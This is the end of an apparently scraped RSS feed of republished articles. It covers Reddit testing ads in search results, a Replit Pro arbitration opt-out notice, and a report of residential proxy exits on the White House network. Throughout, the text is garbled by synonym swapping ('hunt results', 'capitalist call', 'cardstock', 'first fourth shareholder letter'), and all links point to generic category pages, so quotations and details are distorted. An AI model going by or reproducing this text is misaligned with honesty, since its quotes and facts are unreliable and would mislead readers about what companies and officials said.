isPermaLink="true">https://en.mycoding.id/everything-is-an-ai-scam-now-75693</guid> <pubDate>Wed, 04 Nov 2026 22:05:19 +0700</pubDate> <author><![CDATA[support@mycoding.id (Riki Setiawan)]]></author> </item> <item> <title><![CDATA[Reddit Begins Testing Ads In Its Own Search Results]]></title> <description><![CDATA[Reddit Begins Testing Ads In Its Own Search Results. Reddit is evaluation ads in its own hunt results alongside choose advertisers and may equivalent ads to what group hunt for. The article Reddit Begins Testing Ads In Its O...]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/reddit-begins-testing-ads-in-its-own-search-results-75696</link> <content:encoded><![CDATA[<div class="sej-article-content gototop-pos "> <div class="sss2_sllo_o6"> </div> <div id="narrow-cont"><p>Reddit is evaluation ads in its own hunt results pages alongside a choose collection of eligible advertisers.</p> <p>The business <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">announced the test</a> in a abbreviated newsroom article on Tuesday and stated it volition measure how users react so it can refine the cognition complete time. The article doesn’t say how advertisers were chosen or whether others can ask to join.</p> <h2>How Reddit Says Search Ads Are Chosen</h2> <p>Reddit’s article reads:</p> <blockquote><p>“These placements leverage existing ad targeting in hunt results pages on Reddit, which have elevated acquisition and hunt intent.”</p></blockquote> <blockquote><p>“Ads in hunt may appear according to a range of factors, including contextual relevance to a user’s hunt query.”</p></blockquote> <p>The article does not citation what alternatively would aspect into which ads appear. In the example, a individual searching for “espresso station” power see ads for coffee beans, mugs, or espresso machines, and “home agency setup” may guide to promotions for desks, agency chairs, or monitors.</p><div data-total="4" id="SEJ_300x250_UnderPost_1-parent" class="content-unit sss2_sllo_o6 mmh-90-wrap"> <div class="mmh-90-inner"> <div class="mmh-90 flex-aligner"> <div data-adnumber="0" data-middle="no" data-p-slot="SEJ_300x250_UnderPost" data-slot="SEJ_300x250_UnderPost/SEJ_300x250_UnderPost_1" id="SEJ_300x250_UnderPost_1" class="sadslots"> </div> </div> </div> </div> <p>Example screens in the article display the mobile type of the Reddit use following searching for “home agency setup”. Each display shows a cardstock tagged “Ad” containing a image of a merchandise (with a website address) and a “Shop Now” button. One example shows a cardstock sitting under a blurb citing subreddits as its sources. Another example shows a cardstock placed between two posts.</p> <h2>From No Search Ads To A Test</h2> <p><a href="https://en.mycoding.id/category/business" target="_blank">Brooke Osmundson reported</a> that in October 2024, Reddit extended the keyword targeting it uses in its conversation placements to the Feed of the platform.</p> <p>In its <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">first fourth shareholder letter</a>, Reddit stated that the merchandise placements authorize users searching on the location to browse listings and shop correct from inside those hunt results. In <a href="https://en.mycoding.id/category/business" target="_blank" target="_blank" rel="noopener">a phone call alongside investors</a> following their Q1 earnings were released (April 30), Chief Operating Officer Jennifer Wong stated that Reddit didn’t “even have ads in certain elevated expanding surfaces akin search, for example.” On this identical call, CEO Steve Huffman reported that “Search WAUqs are up 30% year-over-year.” Search WAUqs is Reddit’s shorthand for weekly energetic uniques who search.</p><div id="summita-wrapa_112" class="middle_p_txt"></div> <p>During a Q2 capitalist call, Wong referred to hunt as “a area that we’re eyeing” for promotion and mentioned that Reddit has the infrastructure “already queued up,” <a href="https://en.mycoding.id/category/business" target="_blank">according to Roger Montti</a>. Wong additionally referenced Shopping Listing Ads, a format that groups multiple retailers’ products in one module, as examples of the category of promotions she believes could be used on a hunt page.</p> <h2>What Reddit Hasn’t Said</h2> <p>Beyond eligibility, Reddit’s article is additionally silent concerning the another key elements of how the test works, specified as markets, ad format types, ad pricing models, and whether it covers additional than the app used in its examples.</p> <h2>Why This Matters</h2> <p>Reddit is pitching its hunt pages to advertisers on the power of what group category there. For now, Reddit’s hunt ads are constricted to the advertisers it selected for the test. You can ask your Reddit rep whether your document is part of the test and how hunt impressions would display up in reporting.</p> <h2>Looking Ahead</h2> <p>Advertisers exterior the test can observe for hunt to appear among Reddit’s ad placements. The article gives no end date for the test and no timeline for adding advertisers.</p> <p><em>Featured Image: FotoField/Shutterstock</em></p> </div> <div id="bcats" class="bottom-cat narrow-cont"> <span class="sej-category boxed cat-label">Category</span> <a href="https://en.mycoding.id/category/business" target="_blank">News</a> <a href="https://en.mycoding.id/category/business" target="_blank">PPC</a> </div> <div class="sej-above-author-widget"> <div class="sej-widget clearfix"> <div class="sej-badge-box"> <a href="https://en.mycoding.id/category/business" target="_blank" data-placement="Under Article" aria-label="Add Search Engine Journal as a preferred origin on Google"> <svg class="sej-gps-g" viewbox="0 0 48 48" aria-hidden="true" focusable="false"> <path fill="#EA4335" d="M24 9.5c3.54 0 6.71 1.22 9.21 3.6l6.85-6.85C35.9 2.38 30.47 0 24 0 14.62 0 6.51 5.38 2.56 13.22l7.98 6.19C12.43 13.72 17.74 9.5 24 9.5z"></path> <path fill="#4285F4" d="M46.98 24.55c0-1.57-.15-3.09-.38-4.55H24v9.02h12.94c-.58 2.96-2.26 5.48-4.78 7.18l7.73 6c4.51-4.18 7.09-10.36 7.09-17.65z"></path> <path fill="#FBBC05" d="M10.53 28.59c-.48-1.45-.76-2.99-.76-4.59s.27-3.14.76-4.59l-7.98-6.19C.92 16.46 0 20.12 0 24c0 3.88.92 7.54 2.56 10.78l7.97-6.19z"></path> <path fill="#34A853" d="M24 48c6.48 0 11.93-2.13 15.89-5.81l-7.73-6c-2.15 1.45-4.92 2.3-8.16 2.3-6.26 0-11.57-4.22-13.47-9.91l-7.98 6.19C6.51 42.62 14.62 48 24 48z"></path> </svg> <span class="sej-gps-text">Add <b>SEJ</b> as a preferred origin on Google</span> </a> </div> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/reddit-begins-testing-ads-in-its-own-search-results-75696</guid> <pubDate>Wed, 04 Nov 2026 22:00:39 +0700</pubDate> <author><![CDATA[support@mycoding.id (Matt G. Southern)]]></author> </item> <item> <title><![CDATA[AR guitar with just a laptop and scissors]]></title> <description><![CDATA[AR guitar with just a laptop and scissors. Comments]]></description> <media:thumbnail url="https://en.mycoding.id/site/assets/img/og-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/ar-guitar-with-just-a-laptop-and-scissors-75694</link> <content:encoded><![CDATA[<a href="https://en.mycoding.id/category/technology" target="_blank">Comments</a>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/ar-guitar-with-just-a-laptop-and-scissors-75694</guid> <pubDate>Wed, 04 Nov 2026 21:54:34 +0700</pubDate> <author><![CDATA[support@mycoding.id (Riki Setiawan)]]></author> </item> <item> <title><![CDATA[If you're on Replit Pro, you have until November 8 to opt out of arbitration]]></title> <description><![CDATA[If you're on Replit Pro, you have until November 8 to opt out of arbitration. Comments]]></description> <media:thumbnail url="https://substackcdn.com/image/fetch/$s_!4tF_!,f_auto,q_auto:best,fl_progressive:steep/https%3A%2F%2Freadthediff.substack.com%2Ftwitter%2Fsubscribe-card.jpg%3Fv%3D1160782697%26version%3D9"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/if-you-re-on-replit-pro-you-have-until-november-8-to-opt-out-of-arbitration-75695</link> <content:encoded><![CDATA[<div><div><div><div><div><div><div dir="auto"><p><span>If you pay for Replit Pro, Replit's new conditions say that any lawful disagreement you have alongside them goes to personal arbitration alternatively of court, and that you can't associate a category action. You can keep your correct to go to court by sending Replit one email by </span><strong>November 8</strong><span>. Here is how, and why that date.</span></p><p>This is a notice, not an argument.</p><p>On October 9, 2026, a new Replit Pro Agreement replaced the old one for existing Pro customers. It adds mandatory arbitration and a class-action waiver. The old accord had neither.</p><p><span>The new agreement's own words: "To opt out, Customer must notify Replit inside thirty (30) days following archetypal becoming topic to this arbitration agreement." Replit, in penning on October 28: "The new Pro Agreement took consequence for existing Pro customers on October 9, 2026." Thirty days from October 9 is </span><strong>November 8</strong><span>. If you signed up for Pro following the new accord was posted in September, it applied whenever you registered, so your thirty days started afterward and may already have run.</span></p><p>The September email announcing the alter gave this one clause: "You can opt out inside 30 days as described in the Pro Agreement." It didn't provision the date or the address.</p><p><span>Email </span><a href="https://en.mycoding.id/category/technology" target="_blank">arbitration-opt-out@repl.it</a><span> from the email on your Replit account. The accord says the notice must include:</span></p><ul><li><p>your complete name</p></li><li><p>your mailing address</p></li><li><p>your Replit username</p></li><li><p>the email location on your account</p></li><li><p>a apparent declaration that you opt out of the Arbitration Agreement in Section J of the Pro Agreement</p></li></ul><p>Keep a copy. Each individual sends their own: the accord says "No idiosyncratic may opt out on behalf of another party," so on a team, everyone opts out for themselves. (What opting out does: it keeps your correct to obtain a disagreement to court alternatively of a personal arbitrator. It doesn't decide any claim.)</p><p><strong>A template you can paste:</strong></p><blockquote><p>Subject: Opt-out of Arbitration Agreement (Pro Agreement, Section J)</p><p><span>I opt out of the Arbitration Agreement in Section J of the Replit Pro Agreement.</span><br><span>Full name:</span><br><span>Mailing address:</span><br><span>Replit username:</span><br><span>Account email:</span></p></blockquote><p>Open Settings, afterward Personalization, scroll to the base and develop the final section. There's a environment called Model Improvement. On September 9 it was turned on by default for what Replit calls "eligible" Pro accounts. If it's on and you desire it off, rotate it off. It's per person, so inspect all place on your team. Replit says turning it off applies to new satisfied only; the opt-out "isn't retroactive."</p><p><span>Thirty seconds: </span><a href="https://en.mycoding.id/category/technology" target="_blank">the form</a><span>. Anonymous is fine. If you add your Replit username, you figure in the verified tally. We'll publish the totals, never the names.</span></p><p>That's the notice. Keep your receipt.</p><p><em>Miguel Sosa is CTO of a dispatch-software business that is a Replit Pro customer, opted out on October 23, and is in a disagreement alongside Replit concerning this setting. Quotes are from Replit's Pro Agreement and Replit's emails to his company.</em></p></div></div></div></div></div></div></div><div><div id="discussion"><div><h4>Discussion concerning this post</h4></div></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/if-you-re-on-replit-pro-you-have-until-november-8-to-opt-out-of-arbitration-75695</guid> <pubDate>Wed, 04 Nov 2026 21:52:53 +0700</pubDate> <author><![CDATA[support@mycoding.id (Riki Setiawan)]]></author> </item> <item> <title><![CDATA[Residential Proxies Detected on White House Network]]></title> <description><![CDATA[Residential Proxies Detected on White House Network. Comments]]></description> <media:thumbnail url="https://layer3intel.com/eop_proxy_activity.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/residential-proxies-detected-on-white-house-network-75682</link> <content:encoded><![CDATA[<div><p>Our <a href="https://en.mycoding.id/category/technology" target="_blank">Residential Proxy Observatory</a>, launched before this week, is a first-of-its-kind interface that gives researchers a earth perspective of residential proxy and anonymized net activity.</p><p>While our squad was looking through it, we noticed residential proxy exit action on <a href="https://en.mycoding.id/category/technology" target="_blank">AS2650</a>. AS2650 is registered to the Executive Office of the President, the national agency that hosts the White House network. <a href="https://en.mycoding.id/category/technology" target="_blank">Residential proxy services</a> market admission to mundane devices, letting customers dispatch traffic through them so it appears to arrive from that device's network.</p><figure><img alt=" 236 observations, alongside one to three distinctive proxy exits on most days and a row of regular observations below" loading="lazy" width="1801" height="493" decoding="async" data-nimg="1" sizes=" 800px) 100vw, 760px" srcset="/_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=640&amp;q=75 640w, /_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=750&amp;q=75 750w, /_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=828&amp;q=75 828w, /_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=1080&amp;q=75 1080w, /_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=1200&amp;q=75 1200w, /_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=1920&amp;q=75 1920w, /_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=2048&amp;q=75 2048w, /_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=3840&amp;q=75 3840w" src="https://layer3intel.com/_next/image?url=%2F_next%2Fstatic%2Fmedia%2Feop_proxy_activity.01iwvfjkrr2z9.png&amp;w=3840&amp;q=75"><figcaption>Confirmed residential proxy action observed from the White House network, October 5 to November 3, 2026.</figcaption></figure><h2>What we observed</h2><p>From October 5 to November 3:</p><ul><li>Our residential proxy enumeration pipeline exited through the White House network <strong>236 distinct times</strong>.</li><li>Those exits came from <strong>6 addresses</strong>, on <strong>26 of the 30 days</strong>.</li><li><strong>28 distinct residential proxy services</strong> were capable to exit through this network.</li></ul><p>To create certain this was not a fluke, we checked these addresses against another residential proxy finding services, specified as Spur and Synthient. Their community IP environment pages independently acknowledge these addresses as residential proxy exits.</p><p>This is community access. Anybody can get it by signing up to a community residential proxy service, paying a few dollars and sending requests through it. We did not selectively mark this network or try to create our probes exit from it. We caught this by chance, merely by requesting earth rotating admission through these services.</p><h2>Why this is concerning</h2><p>Most of the action happens in the evening, Eastern time: concerning fractional of it falls between 5 pm and midnight, and nearly none happens in the first morning. That form suggests a individual fairly than a community visitant Wi-Fi network: person regularly on the White House network delayed into the evening, whose equipment is infected alongside a proxy SDK. Our data shows the exits, not the equipment or the individual rearward them.</p><p>Past investigation has shown that poorly secured proxy SDKs can authorize inner network admission and lateral movement. This is how former botnets have spread. In <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" rel="noopener noreferrer">A Broken System Fueling Botnets</a>, the researchers at Synthient documented how the Kimwolf botnet reached at smallest 2 myriad devices, mostly Android devices alongside an exposed ADB service, through residential proxy networks. If an SDK on this network has the identical benevolent of flaw, anyone purchasing proxy admission could use it to attain inner systems.</p><h2>No location is too remote</h2><p>The White House is not the lone astonishment in the observatory. Residential proxies additionally attain several of the most secluded places on the planet.</p><p><a href="https://en.mycoding.id/category/technology" target="_blank">Saint Helena, Ascension and Tristan da Cunha</a> is the South Atlantic district that includes the most distant inhabited isle in the world. We recorded <strong>413 addresses</strong> and additional than <strong>32,000 observations</strong> there, divided between Starlink and the island's local net provider, Sure Saint Helena.</p><p>We additionally recorded <strong>three observations</strong> from <a href="https://en.mycoding.id/category/technology" target="_blank">Antarctica</a>. All of them arrive from a Cloudflare WARP location that points to McMurdo Station.</p><p>Other distant places alongside activity:</p><ul><li><a href="https://en.mycoding.id/category/technology" target="_blank">Pitcairn</a>: 1 Starlink address, 1 observation.</li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Norfolk Island</a>: 1 Norfolk Telecom address, 4 observations.</li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Svalbard</a>: 1 Starlink location in Longyearbyen, 3 observations.</li><li>Also seen: <a href="https://en.mycoding.id/category/technology" target="_blank">the Falklands</a> (388 addresses), <a href="https://en.mycoding.id/category/technology" target="_blank">the Chagos Islands</a> (43), <a href="https://en.mycoding.id/category/technology" target="_blank">Tokelau</a> (21) and <a href="https://en.mycoding.id/category/technology" target="_blank">South Georgia</a> (7).</li></ul><p>Residential proxies have infected all border of the world, and it looks akin there is no location they cannot reach. Layer3 Intel tracks residential proxy and anonymization infrastructure worldwide. Even whenever the proxies conceal in networks on the farthest corners of the planet, we can motionless detect them, leaving danger actors no location to hide.</p><p><strong>For applicable agencies:</strong> We have backed up the raw logs of the recorded action and are consenting to portion them. You can petition them through our <a href="https://en.mycoding.id/category/technology" target="_blank">contact page</a>.</p></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/residential-proxies-detected-on-white-house-network-75682</guid> <pubDate>Wed, 04 Nov 2026 21:45:18 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> </channel> </rss>